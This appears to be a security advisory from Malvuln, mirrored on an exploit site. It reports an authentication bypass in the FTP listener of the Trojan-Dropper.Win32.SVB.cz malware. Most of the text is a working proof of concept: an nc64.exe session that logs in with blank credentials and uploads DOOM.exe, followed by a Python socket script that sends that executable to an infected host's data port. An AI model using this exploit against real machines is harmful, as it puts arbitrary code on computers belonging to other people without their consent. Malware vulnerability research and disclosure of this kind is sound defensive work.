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## https://sploitus.com/exploit?id=PACKETSTORM:163356
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/d57536189430fd75e45f53845e9b3f94.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Trojan-Dropper.Win32.SVB.cz  
Vulnerability: Authentication Bypass RCE  
Description: The malware listens on TCP port 8181 (default) and has several protocols that can be enabled, FTP port 1212 and WEB port 80 and drops its executable under AppData\Local\Temp. The FTP component accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.  
Type: PE32  
MD5: d57536189430fd75e45f53845e9b3f94  
Vuln ID: MVID-2021-0266  
Dropped files: opeC248.exe  
Disclosure: 07/03/2021  
  
  
Exploit/PoC:  
nc64.exe 192.168.18.129 1212  
220 ShangXing Ftp Server  
USER  
331 Password required for .  
PASS  
230 User logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
CDUP  
250 CWD command successful. "C:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,129,194,64).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.127"  
#194*256 + 64  
PORT=49728  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("Trojan-Dropper.Win32.SVB.cz / Authentication Bypass RCE")  
print("MD5: d57536189430fd75e45f53845e9b3f94")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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